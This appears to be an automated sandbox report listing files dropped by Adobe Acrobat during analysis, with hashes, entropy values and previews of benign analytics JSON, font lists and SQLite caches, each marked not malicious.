SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329432586893669
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJM3g98kUwPeUkwRe9:YvXKXo1Z11EZc0voGMbLUkee9
MD5:	A6690FE0521408A1081129500CF31CA4
SHA1:	3020263ABF4D7F3474D74EBE44D0D1075F14379D
SHA-256:	909BCD72B991C72CA10EDDAD2DFF1EE1D0B36008E724B8B594FCC6A7BBB4E353
SHA-512:	A1BCD858A703EA69847DDCD4AEF94BD1A256E1C49E65E0DA1DDB596767C73C6C22A2CE899FFCD5CBE081904A431A4160BBEBA145187EDF8FB7BEDDDE1567E834
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280579714385486
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfBoTfXpnrPeUkwRe9:YvXKXo1Z11EZc0voGWTfXcUkee9
MD5:	4BD1AA10F030B190C58B1AACBC7BE973
SHA1:	1A5872412EC75AB5DB009931EE99367A417650B5
SHA-256:	3379A34B68799E00EE14F7758EBCDD2DAA970309FEEBEECDC21E13C8F3F6FD72
SHA-512:	C000A5CF65444CFDA08CE98D95C9FF29DA09BB62CCB1DDD7C5B68AE63257ED8123E05C70F2E1C117DFDC807D773AE1614708F3EB07ED66CE3250C4DEFDD573C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.258122912604108
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfBD2G6UpnrPeUkwRe9:YvXKXo1Z11EZc0voGR22cUkee9
MD5:	9C18A9A3B76BFADE2C6F9F530E6E5A01
SHA1:	70C498AE80D5913618547803147BAA00AA7187D6
SHA-256:	B4CE72CFDA9AD23650EB94B5A263701A3062B0A51292EDB56874A8402E4B834A
SHA-512:	485BC6E069979D181488A8DE2C9818C43A8829DF2BE7BF0C0FFF684D4AEA53A7FEE2D06249D87D585EEA4A28C91291EC9E1E220DB0DA85601AB1993D015222E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.315252538723091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfPmwrPeUkwRe9:YvXKXo1Z11EZc0voGH56Ukee9
MD5:	06CB83C4C327D8C3E1C38A09082706A0
SHA1:	1AAE4214463A48820FB0DEF7DE7AE28CA949583E
SHA-256:	00245433CB1C80B7BA38C4D5D717EEEA16846C860AE91FC7B48E14CC8DB8C53D
SHA-512:	01FFFCBD19B789EB91470E910C765F02E2B5B903AD01ADC8785A8209FEFD0EFA45BE12D728DC45DBA80160030EA3612171ACD987127F97113BA4C57EFE303249
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692775690297732
Encrypted:	false
SSDEEP:	24:Yv6Xo1XWzvlpLgE9cQx8LennAvzBvkn0RCmK8czOCCS2x:Yvv1XOthgy6SAFv5Ah8cv/2x
MD5:	4F2B8C92C43563BF57F8963B60B0BE06
SHA1:	6F4BBC7F7972EB04BA56B0A17A37326D4F1DC076
SHA-256:	80992F272B3EB52134FD18551BBD252C603AB5EFD00223763BFBF3452556ADA2
SHA-512:	65404811C287551E81445F2E310E69FD704CA582A3CDA99A1DE73ECEAA779465F8C0C41225FA90332C83858DB41C3E1527F73C1F611A0BE248221C6E44112989
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264888315473113
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJf8dPeUkwRe9:YvXKXo1Z11EZc0voGU8Ukee9
MD5:	D110C5F5477B6035D8B97A342953F164
SHA1:	55A166A6F6095C2C59986B3711755C367C19AAF9
SHA-256:	031CC14F5104BD9ACE3885C3351EA1ACA53B1CFF9E1E3457D3C3B490BF2A8840
SHA-512:	6FF9A026CD725AA04D512E4CE9E56FB94707A494B24E710A0DE340A7E3B14A7BD4BAE357A95E07E5B4E90650BAFF0D3860761AAAEF8B1C4FB06BC31079071150
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.270314910483151
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfQ1rPeUkwRe9:YvXKXo1Z11EZc0voGY16Ukee9
MD5:	6C765C79B55BDEA9D076FF096909AAA7
SHA1:	11C7526773DF4E43C268D35FB12D6854879DB8A4
SHA-256:	2D4303535824D50D55112EB44B4E3FB02043204688348B6422A293ACD6ECC28D
SHA-512:	BD3B3C8655BEC7D5BA1979E50C8C557134B0A671BBA3D4C05C67AA43C9F8C8B10E1D79E02C7773D41AA5B488B85C780740FD2F90AAFA56853510A70D28A999BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276912359321391
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfFldPeUkwRe9:YvXKXo1Z11EZc0voGz8Ukee9
MD5:	D6346B5CB76F4FAFCD427A1DAB71EB7D
SHA1:	69731EC47EDB15602E33449B61C4ABF0A1716C1D
SHA-256:	3219B148A50191255BDA3D46F322CCEA80D383626D362E8E7951A633723FCE1B
SHA-512:	0181E975B933A907A0737D7068F03E2D4BDCA3357830548AE842F29057DF563241D28975E1262439BB951D0527EEF62CD2B8B9238F8AD3B97699E0F702132D5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.291631147786174
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfzdPeUkwRe9:YvXKXo1Z11EZc0voGb8Ukee9
MD5:	915506C49C2872FE0836055922B5D94F
SHA1:	D94A4E34F0A80E3FADF11C5CE2D36D02BD0CBB7B
SHA-256:	D83F3776B1447799151A03D6B5479BEAB55D0AA435A237D070603C3CF7F05C3D
SHA-512:	34C0D27EB69402B0EC27E5669C32D7C0E784A97DDE39B1521A4405B1F78600F5CC325A81D0F314073CBCF47DDD60672A0A737A85EDAC4FC97E136AEF19BF2AED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272239466957158
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfYdPeUkwRe9:YvXKXo1Z11EZc0voGg8Ukee9
MD5:	9EB70D9B5DEE4F6A3754A57CDC7A95C8
SHA1:	68E66492F6AF7801AF2A1C5C1C3390754770196C
SHA-256:	F9E7DFCD13AC636EB7A6A217547DDB031376814717B393CD9A3DF9FB60A1F51C
SHA-512:	7F61B29EBDF448228E4FCF7AD9A6387185901068B21FF1E1997C2AA9609B84E19743842EDEA3E042B0C1E5881CF47FBF5ECA0F06F0174084DC011517F4E51D5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.257483396468068
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJf+dPeUkwRe9:YvXKXo1Z11EZc0voG28Ukee9
MD5:	7EE8F63E65BC55CBB86D163F68A747A2
SHA1:	43E1778BE7212B20FA86412875A091F324FBF58C
SHA-256:	F6627B570F1E951DD2AB4B0EFE56D16F0C0B347AFF631F049D293D34AA957A40
SHA-512:	65C09D3E134A77003B6AFCDC3664EF57B0CC45A9966480510B90372F3BA37563196288F4231470EF2C4FDC876D86EECCC09A1984B7FF1EFA76FD2B169F61F4E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.255977358672554
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfbPtdPeUkwRe9:YvXKXo1Z11EZc0voGDV8Ukee9
MD5:	3D72B5E51E92666DF3CCBDD9A4A2C806
SHA1:	949064499DF1B7417522E55EAE7EE70FEC35BD6F
SHA-256:	70E9970B4FAD0AAC439B76196B59B4CB7F1BDD06A1F0423927E3A33DC483CD5D
SHA-512:	975D77B10F9F0A5DE76BC59E2E816C3C4165A9616CC76A4EE465ED0A2DAB2D02E4D15F7EDC9A41A51AAF44545805C53A49258E6EDB7DB22838941198F8F4E1FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.260819840828659
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJf21rPeUkwRe9:YvXKXo1Z11EZc0voG+16Ukee9
MD5:	8BB41BCCDA032A7C215753DCA0D17CEC
SHA1:	F10B5924673248C90ACD255EAA4A454B901FEE21
SHA-256:	73FF0ED5F540175EFB365010A0B5C208689FE48023BF1238D73175F109C06F0A
SHA-512:	552C2527931140BF5F76DFB8F0164736D7F590E9DA23118890112DBC4D713D7CE11455013AB5BC3B3C27FC54DB5A0A4AF2A71B2C70036CF559B33360B6193F5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668228290756017
Encrypted:	false
SSDEEP:	24:Yv6Xo1XWzv9amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2x:Yvv1XOJBgkDMUJUAh8cvM2x
MD5:	2C5632F359B089C90A6E6A0284E69487
SHA1:	68FE5B799EDDBA55CD09423EE49D7EFD2293B982
SHA-256:	B0252EDA7F445761D36A00A3C7558EB3CDBEF609B78D36994DE08F5FB2DAF1D7
SHA-512:	3F2B204D2A25B86073F34FE5030A1E9DFE5330B34E2F6A9C54E485AFDE532CD498F11DAC4603AA02D11111A0913328ED1BE93DBFAB77E904BC54EB86F6B6F3CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.237466075744595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJfshHHrPeUkwRe9:YvXKXo1Z11EZc0voGUUUkee9
MD5:	74DBA0C2DDE872EC19F2EF3B99004D29
SHA1:	5E81CDFD9D99AF813E0F974E422B2EEEF80C0299
SHA-256:	CCF42B04ADE55763DE72631E41BC2C47A7DB06F01C7B06307FE7BD0ECFB5FA74
SHA-512:	666AA0D766AC4DE453C1C0B9DB835B453CCE4883027EF437DD8D6883A0A28362062536D4AF642389174CAEF0C71812647B81F5C3CA2A92BD3ED9E3DC05F7B714
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.245397862541745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEe+1EO119VoZcg1vRcR0YfQnoAvJTqgFCrPeUkwRe9:YvXKXo1Z11EZc0voGTq16Ukee9
MD5:	AEA9312DB64829CCFA462AE055DF2E20
SHA1:	714F0D3534B3238889E37614E27D8DCFC608C9D6
SHA-256:	AFBA7FB58362674A95E0C27B20FB17D54D23C48E4250E25D4E03DBBBCCD27727
SHA-512:	10591BC344BB99EA407E387771428398A0FB29050EB3CA790F18767EAE29A4A839C6485944C024C3DEC62E46A63DE77E6B7BAEDD66D9D9659DF29806B60EEAEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a107707-a741-4ac9-8927-8ac64f50c714","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751065598,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141462177083295
Encrypted:	false
SSDEEP:	24:Yl4aMayjJbgskGKd2xPCYRU3sJkjQ5Psj0SgE0M2G2LSKC1XZYuVbz5Ql9iNFeuE:YC9Du24SXUuP+JtboiXZr/el9L
MD5:	5540054D373CF7B1DEA7501AD5493D41
SHA1:	A5145B326A35C1AE1F89D2E9A8B0CA5442E0F47C
SHA-256:	17A7F482A4AECB83E3EF6EEF69785C139AA1F62586EE319A50F52DAA19951E3F
SHA-512:	E847A7786F45F4A6E2E6B6E5ADEB61BFFC8FAF7A15937E1B6BEE0176314D86ED429612C1B315AB96749CE5C20F96FC7BA6DF5F6F2DAF0AA6B4AF62A803AC51DF
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"96c4ca2817d88f222fe5235840f0fd9f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736571364000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"eb7a2dd8a6363ce3a3658157113f247b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736571364000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a128abad96e7448bddd3778c97a9eb05","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736571364000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ac82be7f3a214ffe6ce76762fab4e302","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736571364000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ac30e11301e748c75acf065cb091cb4f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736571364000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"97366fcd42149e63544fa043a761a21b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188396109272424
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUsSvR9H9vxFGiDIAEkGVvpG:lNVmswUUUUUUUUs+FGSItS
MD5:	6773EE2C2B33C9A262640C82F6855A81
SHA1:	8054E7B7261EE6F0553DECDCDF09BBCA2FD524F2
SHA-256:	69ADCFC0643F0795484FA101C633E0CD021075A16776210D8C8274D9AF62EED7
SHA-512:	65A4F185957C99E35AAADC5A91D3056AC8F0409113E5191778CFF81F76D46D543DE59E7E28612A6D24BAD2B1A8434487BBE86ACE34DE5FEB4E72FB6A758B37BE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.606540983102173
Encrypted:	false
SSDEEP:	48:7Mz4KUUUUUUUUUU+vR9H9vxFGiDIAEkGVvpqFl2GL7msa:74UUUUUUUUUUCFGSItDKVmsa
MD5:	C031CBD64FB852FD14577FBE43E22A0A
SHA1:	8378CC1C008ED7151B85AEE4426A00CEDA73A51C
SHA-256:	BCBC7E1CEDB88E00FC63382E8CE7736D2B4D51596EA233D2F4598A1634ABF310
SHA-512:	8498D9AE5DC7DA5708CBA2E17989CEC6A64C94A926ECFFA63C559CF2646A1AA792030884458A9D9ED6E325AE2E6571E0572CF2EF4586E1C2EC95F0D91D19376C
Malicious:	false
Preview:	.... .c.....R..4......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHkuZ7Au/RIx9cfMJjzbYebEVAWYyu:6a6TZ44ADEEuZ7Aui+MpHbE7K
MD5:	CF61F59A3C54E73071CAC22E4DD903CC
